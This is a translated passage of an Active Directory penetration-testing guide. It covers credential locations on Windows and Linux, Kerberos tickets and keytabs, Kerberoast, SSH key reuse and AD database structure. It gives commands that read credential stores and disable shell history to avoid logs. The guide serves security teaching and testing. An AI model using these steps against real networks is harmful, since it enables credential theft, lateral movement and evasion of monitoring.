DefaultPassword 部分包含自动登录密码。为了获得域名和用户名,你需要检查注册表键 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinlogonDefaultDomainNameDefaultUserName 值。

DPAPI_SYSTEM 部分包含系统的主DPAPI密钥,这些密钥允许解密用户文件

NK$LM 给我们提供了用于加密域名缓存凭证的密钥,但由于 secretsdump 已经解密了它们,所以只能作为信息参考。

最后,格式为_SC_<service>的条目是表示运行服务的用户的密码。在这个例子中,是 mysql 服务。不知道服务用户的用户名,但我们可以在计算机中查看。

Show user account that runs the mysql service

PS C:\> Get-WmiObject win32_service -Filter "name='mysql'" | select -ExpandProperty startname
CONTOSO\han

Powershell history

除了 LSASS 进程和注册表,你还可以在其他地方搜索凭证,比如用户的 Powershell 历史。你可以使用以下命令来定位和读取 Powershell 历史。

Get the Powershell history path of the current users.

(Get-PSReadlineOption).HistorySavePath

Check the Powershell history of all users

Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

另外,作为一个提示,你可能想使用以下命令来避免在 Powershell 历史中存储你自己的命令。

Disabling Powershell history

Set-PSReadlineOption -HistorySaveStyle SaveNothing

其他有凭据的地方

此外,你也可以在计算机中的脚本或配置文件中搜索凭证。也有很多软件,如浏览器存储了凭证,在渗透中可能是有用的,你可以看看 LaZagne 项目

另外,在渗透测试或红队行动中,你也可以使用其他技术来获得凭证,如设置键盘记录器或伪造 SSP 模块

 

Linux 计算机

Linux 计算机发现

为了发现域中的 Linux 计算机,你也可以通过使用 LDAP(如果你有域凭据的话),像对 Windows 计算机那样查询域数据库。

在其他情况下,可能会有点困难,因为 Linux 计算机默认没有打开任何特征端口,然而许多 Linux 机器被用作远程管理的服务器。为了管理 Linux 计算机,通常使用 SSH 协议。SSH 服务的监听端口是 22,所以你可以在网络中对这个端口进行扫描,以识别 Linux 机器。

连接 Linux 计算机

为了连接到一台 Linux 机器以获得它的 shell,最常见的选择是使用 SSH。有时你甚至可以使用 Powershell Remoting,因为它可以通过 SSH 工作。

SSH connection to a Linux machine

$ ssh root@debian10 
root@192.168.100.137's password: 
Linux debian10 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May  7 12:55:20 2021 from 192.168.100.137
root@debian10:~#

除了使用用户名和密码外,还可以使用 SSH 私钥来连接(可以从其他机器上获取)。

Connecting to another machine with an SSH key.

$ ssh -i id_ed25519_foo_key foo@db.contoso.local

最后,如果目标 Linux 计算机是域的一部分,你可能能够使用 Kerberos 认证 SSH。你可以通过启用 GSSAPI 认证(-o GSSAPIAuthentication=yes)来指定 SSH 客户端使用 Kerberos 认证。你可以通过偷取票据(Pass-The-Ticket),或者通过用 NT 哈希(Overpass-The-Hash)或 Kerberos 密钥(Pass-The-Key)来请求票据。你可以使用 Rubeuscerberoimpacket 来请求带有 NT 哈希值或 Kerberos 密钥的 Kerberos 票据。

此外,旧的 Linux 机器可能在端口 23 上启用了 Telnet。你将需要一个用户名和密码来连接它。

Linux 计算机凭据

不幸的是,对攻击者来说,Linux 没有带缓存凭证的 lsass 进程,但有很多让人感兴趣的地方可以看看……

Linux Kerberos 票据

为了对用户进行认证,Linux 机器通常有一个 Kerberos 客户端,它被配置为域计算机账户。你可以在 keytab 中找到凭据,通常在 /etc/krb5.keytab 中找到,或者在环境变量 KRB5_KTNAMEKRB5_CLIENT_KTNAME 中指定的值,或者在 /etc/krb5.confKerberos 配置文件 中指定。你可以用 klist 命令或 cerbero 来显示其内容,包括密钥。

Displaying the accounts in the default keytab

$ klist -k -Ke
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- --------------------------------------------------------------------------
   1 r2d2@contoso.local (DEPRECATED:arcfour-hmac)  (0xc49a77fafad6d3a9270a8568fa453003)

在这种情况下,有一个配置了 NT 哈希值的账户(在 Kerberos 的 RC4-HMAC 算法中使用)。你可以使用存储的这个 key 来申请Kerberos ticket,并冒充该用户。

此外,当一个域用户在机器中被认证时,会得到到一个 Kerberos 票据。你可以利用这些票据来冒充域内的用户。通常你可以在 /tmp 目录下找到票据,其格式为 krb5cc_%{uid},其中 uid是 user UID。然而,也有可能 ticket 是存储在 Linux kernel keys 中,而不是文件中,但你可以通过使用 tickey 抓住它们并转换为文件。一旦你有了票据文件,你就可以用它们来执行 Pass the ticket 攻击。

Tickets in Linux

$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115

为了确定 Linux 机器中 Ticket 的存储位置,你可以检查 /etc/krb5.conf 中的 Kerberos 配置文件

Linux user files

除此以外,你可以得到存储在 /etc/shadow 文件中的凭证,该文件包含了本地用户的密码。然后可以尝试通过 hashcat 破解它们。有时密码会在不同的机器上重复使用。然而,你不能进行 Pass-The-Hash 攻击,因为对 Linux 机器进行远程认证,例如使用 SSH,你需要密码。

SSH keys

另一种可能的方法是搜索 SSH 私钥,通常存储在用户目录的 .ssh 目录下。该文件的名称通常为id_rsaid_ed25519

Private key identification

$ file .ssh/id_ed25519
.ssh/id_ed25519: OpenSSH private key

如果私钥的使用不需要密码,那么你就可以用它来连接到域中的另一台机器。

Connecting to another machine with the SSH key.

$ ssh -i id_ed25519_foo_key foo@db.contoso.local

此外,如果你能在 .ssh 目录下找到 known_hosts 文件,并且你很幸运,它可能会显示 ssh 连接过的机器的主机名,这些机器都是使用私钥的。然而,这个文件可能包含了名字的哈希,但你可以用hashcat破解它们。你可以查询域中机器的主机名,来创建一个主机名的字典。

Bash history

此外,你可以在机器用户的命令历史中找到更多关于 ssh 连接和其他诸如凭据的信息,通常位于用户目录的 .bash_history 文件中。

顺便说一下,如果你想避免让你的命令记录在历史中,你可以取消设置 HISTFILE 环境变量或使用类似 方法

Disable bash history

unset HISTFILE

其他地方寻找凭据

同样,你可能会在软件的配置文件或机器上的脚本中找到连接到不同服务(如数据库)和机器的密钥。

此外,你可以查看 LaZagne 项目,了解更多可能被盗取凭证的软件。

 

服务(Services)

在一个域中,许多机器被用来向用户提供服务,所以活动目录很有必要对这些服务进行追踪,以便让用户找到并对其进行认证。

活动目录服务可能很棘手,因为它与计算机服务不一样。在 Windows 或 Linux 机器上的服务可以被理解为一个持续执行任务的后台进程,例如一个数据库。然而,计算机服务不一定要监听端口,例如,检查系统可用更新的服务。

另一方面,活动目录服务是一个标识符,表明在一台机器上有哪些远程服务或可以使用(在一个端口上监听)。并非所有的远程服务都在域数据库中注册,不过,对于那些需要通过 Kerberos 验证域用户的服务是必须注册的。

活动目录中的每个注册服务都提供了以下信息:

  • 运行该计算机服务的用户
  • 服务类型#service-principal-names),表明是什么类型的服务,例如,web 服务器注册为 www 类。
  • 服务所在的机器
  • (可选)机器上的服务端口
  • (可选)服务的路径

为了存储这些信息,每个服务都由一个服务主体名称(Service Principal Name,SPN)来识别,其格式如下。

service_class/machine_name[:port][/path]

machine_name 可以是 hostname 或 FQDN(Full Qualified Domain Name:主机名和域名的组合)。为了兼容 Kerberos,两种格式都存储是很正常的。比如:

LDAP service SPNs

ldap/DC01
ldap/dc01.contoso.local

SPN 将被存储在一个用户(或计算机)对象中,这样就可以识别服务用户。

services of ws01-10 computer

PS C:\> Get-ADComputer ws01-10 -Properties ServicePrincipalName | select -ExpandProperty ServicePrincipalName
TERMSRV/WS01-10
TERMSRV/ws01-10.contoso.local
RestrictedKrbHost/ws01-10.contoso.local
HOST/ws01-10.contoso.local
RestrictedKrbHost/WS01-10
HOST/WS01-10

要注意,即使服务目前没有被执行,它仍然可以在活动目录数据库中注册。这一点很重要,因为旧的服务可能导致使用 Kerberoast 的账户被接管。

总结一下 Kerberoast,你可以为域中注册的任何服务申请一张 Kerberos 票据,该服务的 Kerberos 票据将有一部分用服务的用户秘密(可以是 NT 哈希值或 Kerberos 密钥)加密,该秘密来自于密码。然后你可以保存票据并尝试破解它以恢复用户密码。对于计算机服务来说,这是不可行的,因为密码太复杂了,但是对于用户服务来说,可以有一个弱的密码,这可能是可以实现的。

Host service

此外,由于 Windows 系统默认情况下部署了大量的服务,在机器中默认注册了一个 HOST 服务类,这个 HOST 类是几个服务的别名。

Services classes identified by HOST

PS C:\Users\Administrator> Get-ADObject -Identity "CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,$((Get-ADDomain).DistinguishedName)" -properties sPNMappings


DistinguishedName : CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=contoso,DC=local
Name              : Directory Service
ObjectClass       : nTDSService
ObjectGUID        : 70502b18-010f-4d33-bbb9-ff85a88c6156
sPNMappings       : {host=alerter,appmgmt,cisvc,clipsrv,browser,dhcp,dnscache,replicator,eventlog,eventsystem,policyage
                    nt,oakley,dmserver,dns,mcsvc,fax,msiserver,ias,messenger,netlogon,netman,netdde,netddedsm,nmagent,p
                    lugplay,protectedstorage,rasman,rpclocator,rpc,rpcss,remoteaccess,rsvp,samss,scardsvr,scesrv,seclog
                    on,scm,dcom,cifs,spooler,snmp,schedule,tapisrv,trksvr,trkwks,ups,time,wins,www,http,w3svc,iisadmin,
                    msdtc}

 

数据库(Database)

我们一直在谈论域数据库和存储在其中的一些对象,如用户、组或服务。现在让我们看看关于数据库的更多细节。

首先,数据库的物理位置是 C:\Windows\NTDS\ntds.dit 文件,位于域控制器中。每个域控制器都有自己的 NTDS 文件,为了保持数据库的更新,域控制器之间需要进行同步。

类(Classes)

让我们来谈谈域数据库的结构。

活动目录数据库有一个模式),定义了不同的对象类。每个类都有不同的属性,以用于不同的目的。例如,有用户类、计算机类或组类。

此外,一个类可以是一个父类的子类,这样就可以继承属性。例如,计算机类是用户类的子类,因此计算机对象可以拥有与用户对象相同的属性,如 SAMAccountName,以及一些新的自定义属性,如 OperatingSystem

所有的类都是 Top 类的子类,它定义了像 ObjectClassObjectGUID 这样的基本属性。

  • ObjectClass 属性包含一个对象的类的列表,也就是它的当前类和所有的父类。
  • ObjectGUID 属性是一个 GUID(全局唯一标识符,globally unique identifier),用于识别数据库的每个对象。不能与 SID(或 SecurityIdentifier)属性相混淆,后者是一个与安全原则有关的标识符,如用户或组。

同样重要的是,要注意类可以被附加到辅助类上,以便获得它的属性。这个辅助类不会出现在 ObjectClass 属性中。例如,在进行渗透测试时,许多最相关的类,如 User 和 Group,都附加在 Security-Principal 辅助类上,该类定义了 SAMAccountNameSID 属性。

Classes of computer object

PS C:\> . .\PowerView.ps1
PS C:\> Get-NetComputer dc01 -Properties objectclass | select -ExpandProperty objectclass
top
person
organizationalPerson
user
computer

属性(Properties)

正如我们所看到的,每个类都可以有几个属性或者特性。通常情况下,这些属性存储了一个字符串值,如 name ,或一个数字,如 UserAccountControl

一般来说,域的任何用户都可以读取域的任何对象的信息,但有几个例外。第一个例外是用户的密码不能被读到。

数据库定义了 UserPasswordUnicodePwd,但这些属性不能被读取,只能被写入。当需要修改密码时,这些属性可以被写入,以便修改用户密码。

此外,有一些属性包含敏感数据,应该只由授权用户获取。为了实现这一点,这些属性在模式中被标记为保密属性(在属性定义的 SearchFlags 中设置 128 标志)。因此,为了读取一个保密属性,除了读取权限外,用户还需要对该特定属性拥有 CONTROL_ACCESS 权限。

Get confidential properties

PS C:\Users\Administrator> Get-ADObject -LDAPFilter "(searchflags:1.2.840.113556.1.4.803:=128)" -SearchBase "CN=Schema,CN=Configuration,DC=contoso,DC=local" | Select Name

Name
----
ms-TPM-Owner-Information-Temp
ms-Kds-KDF-AlgorithmID
ms-Kds-KDF-Param
ms-Kds-SecretAgreement-AlgorithmID
ms-Kds-SecretAgreement-Param
ms-Kds-PublicKey-Length
ms-Kds-PrivateKey-Length
ms-Kds-RootKeyData
ms-Kds-Version
ms-Kds-DomainID
ms-Kds-UseStartTime
ms-Kds-CreateTime
ms-FVE-RecoveryPassword
ms-FVE-KeyPackage
ms-TPM-OwnerInformation
ms-DS-Transformation-Rules-Compiled
ms-PKI-Credential-Roaming-Tokens
ms-DS-Issuer-Certificates
ms-PKI-RoamingTimeStamp
ms-PKI-DPAPIMasterKeys
ms-PKI-AccountCredentials
UnixUserPassword

有一些属性在被写入前需要满足某些条件。这是用 Validated Writes 来控制的,例如一个账户的编辑服务。

为了管理相关的属性集,对于给定权限的用户也有可能使用 property sets,而不是单独管理这些属性。

主体(Principals)

你应该熟悉的一个术语,主体(Principals)。在活动目录中,主体是一个安全实体。

最常见的主体是用户、组和计算机。这个术语也被用于其他领域,如 Kerberos。

SID

为了识别 principals,每个 principals 都被分配一个 SID(Security Identifier)。在活动目录中,有三种 SID:

Domain SID 用于识别域,也是 domain principals 的 SID 的基础。

Get current domain SID

PS C:\> $(Get-ADDomain).DomainSID.Value
S-1-5-21-1372086773-2238746523-2939299801

Principal SID 用于识别 principals,由 domain SID 和一个 principal RID (Relative Identifier) 组成。

SID of user

PS C:\> $(Get-ADUser Anakin).SID.Value
S-1-5-21-1372086773-2238746523-2939299801-1103

在这个例子中,你可以看到用户的 SID 是域 SID 加上 RID 1103。

在活动目录中,有许多 Well-known SIDs,用于识别特殊情况的抽象实体。下面是最常见的一些:

  • S-1-5-11 => Authenticated Users,在系统上登录的用户属于该组。
  • S-1-5-10 => Principal Self,在安全描述符中使用,用于引用对象本身。

Self SID (S-1-5-10) in user security descriptor

PS C:\> . .\PowerView.ps1
PS C:\> $(Get-DomainObjectAcl Anakin)[41]


ObjectDN               : CN=Anakin,CN=Users,DC=contoso,DC=local
ObjectSID              : S-1-5-21-1372086773-2238746523-2939299801-1103
ActiveDirectoryRights  : WriteProperty
ObjectAceFlags         : ObjectAceTypePresent, InheritedObjectAceTypePresent
ObjectAceType          : ea1b7b93-5e48-46d5-bc6c-4df4fda78a35
InheritedObjectAceType : bf967a86-0de6-11d0-a285-00aa003049e2
BinaryLength           : 56
AceQualifier           : AccessAllowed
IsCallback             : False
OpaqueLength           : 0
AccessMask             : 32
SecurityIdentifier     : S-1-5-10
AceType                : AccessAllowedObject
AceFlags               : ContainerInherit, InheritOnly, Inherited
IsInherited            : True
InheritanceFlags       : ContainerInherit
PropagationFlags       : InheritOnly
AuditFlags             : None

还有一些 Well-know SIDs 定义了域 / 林的内置主体的模式。比如说:

  • Administrator => S-1-5-21-domain-500
  • Domain Admins => S-1-5-21-domain-512
  • Domain Users => S-1-5-21-domain-513
  • Enterprise Admins => S-1-5-21-root domain-519

Administrator SID

PS C:\> $(Get-ADUser Administrator).SID.Value
S-1-5-21-1372086773-2238746523-2939299801-500

识别名(Distinguished Names)

了解 DistinguishedName 属性也很重要。DistinguishedName 就像一个路径,表示对象在数据库层次结构中的位置(类似于文件路径)。

DistinguishedName of object

PS C:\> Get-ADComputer dc01 | select -ExpandProperty DistinguishedName
CN=DC01,OU=Domain Controllers,DC=contoso,DC=local

它经常被用来确定数据库中的对象和引用数据库中的其他对象。例如,一个组的成员是通过其 DistinguishedName 来引用的。

List members of a group

PS C:\> Get-ADGroup "Domain Admins" -Properties member | select -ExpandProperty Member
CN=leia,CN=Users,DC=contoso,DC=local
CN=Administrator,CN=Users,DC=contoso,DC=local

识别名(DN)由几个部分组成:

  • Domain Component (DC)它通常标识数据库的域部分。例如,对于 it.domain.com,DC 部分将是 DC=it,DC=domain,DC=com
  • Organizational Unit (OU)标识用于组合几个相关对象的容器。值得注意的是,虽然 OU 与组相似,其目的也是不同的。OU 的目的是组织数据库中的对象,而安全组则是用来组织域/林中的权限。有时组织以自动的方式将 OU 直接映射到安全组,这些组被称为影子组。在 OU 中组织对象是很有用的,因为你可以对 OU 应用一个 GPO,从而影响其中的所有对象,这对于组的成员来说是不可能的。
  • Common Name (CN)标识对象的名称。有时你会在一个路径上看到不止一个 CN,因为有些对象也充当容器。例如,在 CN=Administrator,CN=Users,DC=contoso,DC=local中,CN=Users 标识的是 Users容器

分区(Partitions)

除了 OU 和容器之外,数据库也是有分区划分的。每个数据库都有以下分区:

  • Domain:存储与该域有关的对象。
  • Configuration:存储着整个域的配置,例如 HOST 服务别名、Well-known SIDs
  • Schema:存储整个林中所有对象与属性的定义,也存储着如何建立新对象与属性的规则。
  • Domain DNS Zones:存储该域与其子域的 DNS 记录。
  • Forest DNS Zones:存储林其他部分的 DNS 记录,包括父域。

List database partitions

PS C:\> Import-Module ActiveDirectory
PS C:\> cd AD:
PS AD:\> ls

Name                 ObjectClass          DistinguishedName
----                 -----------          -----------------
contoso              domainDNS            DC=contoso,DC=local
Configuration        configuration        CN=Configuration,DC=contoso,DC=local
Schema               dMD                  CN=Schema,CN=Configuration,DC=contoso,DC=local
DomainDnsZones       domainDNS            DC=DomainDnsZones,DC=contoso,DC=local
ForestDnsZones       domainDNS            DC=ForestDnsZones,DC=contoso,DC=local

你需要加载 ActiveDirectory Powershell 模块,以便用 Powershell 访问 AD: 驱动器。

通常情况下,你只使用 domain 分区,但重要的是要知道数据库是如何组织的,以防你需要其他不在 domain 分区的数据。

一个工具默认在 domain 分区中进行搜索,所以如果你搜索的对象是在别的分区中,你可以指定分区的 DistinguishedName 作为搜索起点。

Search sites in configuration partition

PS C:\> Get-ADObject -LDAPFilter "(objectclass=site)" -SearchBase "CN=Configuration,$((Get-ADDomain).DistinguishedName)" | select name

name
----
Default-First-Site-Name
mysite

例如,像 adidnsdumpdns-dump 这样的工具使用 DNS Zones 分区,以便检索域名的所有 DNS 信息。

全局编录(Global Catalog)

域数据库包含了当前域的所有对象,但为了加快搜索林中其他域的对象,一些域控制器也包含了其他域的对象的子集。这些域控制器被称为全局编录服务器#domaintroller-and-global-catalog-server-structure),包含有其他域的对象的额外只读分区,对于这些对象只存储了部分属性子集,通常是最常用的属性,例如用户的电话号码、登录账户名称等。例如,如果你只需要查询其他域的用户名称,那么全局编录将允许你检索它,而不需要查询其他域的域控制器。

List the Global Catalogs of the domain.

PS C:\> Get-ADForest |select -ExpandProperty GlobalCatalogs
dc01.poke.mon
itdc01.it.poke.mon

如果你想查阅 Global Catalog,你需要为连接指定一个不同的端口,因为 Global Catalog 服务的监听端口是 3268(LDAP)。

Searching in the global catalog

PS C:\> Get-ADUser -Server "poke.mon:3268" -Filter * | select DistinguishedName

DistinguishedName
-----------------
CN=Administrator,CN=Users,DC=poke,DC=mon
CN=Guest,CN=Users,DC=poke,DC=mon
CN=krbtgt,CN=Users,DC=poke,DC=mon
CN=CONTOSO$,CN=Users,DC=poke,DC=mon
CN=pikachu,CN=Users,DC=poke,DC=mon
CN=ITPOKEMON$,CN=Users,DC=poke,DC=mon
CN=Administrator,CN=Users,DC=it,DC=poke,DC=mon
CN=Guest,CN=Users,DC=it,DC=poke,DC=mon
CN=krbtgt,CN=Users,DC=it,DC=poke,DC=mon
CN=POKEMON$,CN=Users,DC=it,DC=poke,DC=mon
CN=porygon,CN=Users,DC=it,DC=poke,DC=mon

怎样查询数据库?

为了与数据库数据进行交互,域控制器提供了几个选项,这些选项在它们支持的不同协议/服务中进行转换。

LDAP

LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)协议,通过 LDAP 可以访问域数据库以及 Global Catalog。

LDAP ports

                      .-------------
                      |
                    .---
           .--TCP-->| 389 LDAP
           |        '---
           |          |
           |        .---
           |--SSL-->| 636 LDAPS
 .------.  |        '---
 | LDAP |--|          |
 '------'  |        .---
           |--TCP-->| 3268 LDAP Global Catalog
           |        '---
           |          |
           |        .---
           '--SSL-->| 3269 LDAPS Global Catalog 
                    '---
                      |
                      '-------------

LDAP 定义了一种查询语法,允许你过滤你想检索 / 编辑数据库的对象。你可以根据对象的属性来过滤它。

例如,要检索有成员的域的组,你可以使用下面的查询(&(objectsclass=group)(members=*))

除了过滤器,LDAP 还允许你指定你想为每个对象检索的属性,例如名称。如果你需要从活动目录中检索信息的例子,请务必查看 LDAP wiki

Domain groups with members

~$ ldapsearch -H ldap://192.168.100.2 -x -LLL -W -D "anakin@contoso.local" -b "dc=contoso,dc=local" "(&(objectclass=group)(member=*))" "samaccountname"
Enter LDAP Password: 
dn: CN=Administrators,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Administrators

dn: CN=Users,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Users

dn: CN=Guests,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Guests

dn: CN=Remote Desktop Users,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Remote Desktop Users

dn: CN=IIS_IUSRS,CN=Builtin,DC=contoso,DC=local
sAMAccountName: IIS_IUSRS

dn: CN=Schema Admins,CN=Users,DC=contoso,DC=local
sAMAccountName: Schema Admins

dn: CN=Enterprise Admins,CN=Users,DC=contoso,DC=local
sAMAccountName: Enterprise Admins

dn: CN=Domain Admins,CN=Users,DC=contoso,DC=local
sAMAccountName: Domain Admins

dn: CN=Group Policy Creator Owners,CN=Users,DC=contoso,DC=local
sAMAccountName: Group Policy Creator Owners

dn: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Pre-Windows 2000 Compatible Access

dn: CN=Windows Authorization Access Group,CN=Builtin,DC=contoso,DC=local
sAMAccountName: Windows Authorization Access Group

dn: CN=Denied RODC Password Replication Group,CN=Users,DC=contoso,DC=local
sAMAccountName: Denied RODC Password Replication Group

# refldap://ForestDnsZones.contoso.local/DC=ForestDnsZones,DC=contoso,DC=local

# refldap://DomainDnsZones.contoso.local/DC=DomainDnsZones,DC=contoso,DC=local

# refldap://contoso.local/CN=Configuration,DC=contoso,DC=local

几乎所有活动目录数据库的对象和属性都可以通过使用 LDAP 进行检索。但那些高度敏感的属性除外,如用户的凭据。

LDAP 被许多 Windows 工具所使用,如 PowerviewADExplorer。如果你没有工具,你总是可以使用 Powershell 通过使用 .NET 来查询 LDAP

另外在Linux上,你可以使用 ldapsearchldapmodify

当你需要从活动目录中检索信息时,比如列举用户或类似的东西,LDAP 应该是你首先想到的东西。但请记住,LDAP 也允许你修改对象,所以如果你需要将一个用户添加到一个组或类似的东西,那么……这是一个办法。

ADWS

作为 LDAP 的替代方案,在 Windows Server 2008 R2?redirectedfrom=MSDN) 中,微软引入了ADWS(Active Directory Web Services,活动目录网络服务),这是一个基于 SOAP 消息查询和操作域对象的协议。

它与 LDAP 过滤器兼容,因此可以执行非常具体的查询,只检索所需的属性。事实上,当使用 ADWS 时,在内部 DC 会执行 LDAP 请求来检索结果。

ADWS related ports and protocols

                              .---------------------------------------
                              |          Domain Controller
                            ,---
                            | 389 (Domain) <------------.
                            '---                        |    .------.
                              |                         |----| LDAP |
                            .---                        |    '------'
                            | 3268 (Global Catalog) <---'       |
                            '---                                ^
                              |                                 |
 .------.     .------.      .---                                |
 | ADWS |>--->| SOAP |>---->| 9389  >----------------->---------'
 '------'     '------'      '---
                              |
                              '---------------------------------------

ADWS 是 ActiveDirectory Powershell 模块使用的协议。

List users using ADWS

PS C:\Users\Administrator> Get-ADUser -Filter * | select name

name
----
Administrator
Guest
krbtgt
Anakin
Han
POKEMON$
leia
luke

其他协议

除了 LDAP 和 ADWS,还有许多其他协议允许从数据库中检索信息。尽管其余的协议,一般用于数据库的一个子集。

DNS 协议主要用于解决计算机的 IP 地址,也从数据库中检索其信息。

SAMR(Security Account Manager Remote,远程安全账户管理)协议允许查询和编辑用户和组的基本信息。它是由诸如 net user /domain 这样的命令使用的。

DRSR(Directory Replication Service Remote,远程目录复制服务)协议是由域控制器用来同步数据库的。通过这个协议,甚至可以检索到用户凭证(如果你有足够的权限),也是用来执行 dcsync攻击 的。

Kerberos 认证协议根据请求的服务也使用数据库来生成所需的票据。此外,Kerberos 使用 kpasswd 服务(端口464)来改变用户密码。

Netlogon 协议是由计算机用来验证域用户。例如,被 NTLM 认证所使用。同时,这也是受 Zerologon 漏洞影响的协议。

还有许多其他与数据库交互的协议,但这些简短的清单应该让你了解到,有许多不同的方式来访问相同的数据。

50加成券

本文翻译自zer1t0.gitlab.io 原文链接。如若转载请注明出处。
分享到:微信
+18赞
收藏
wywwzjj
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66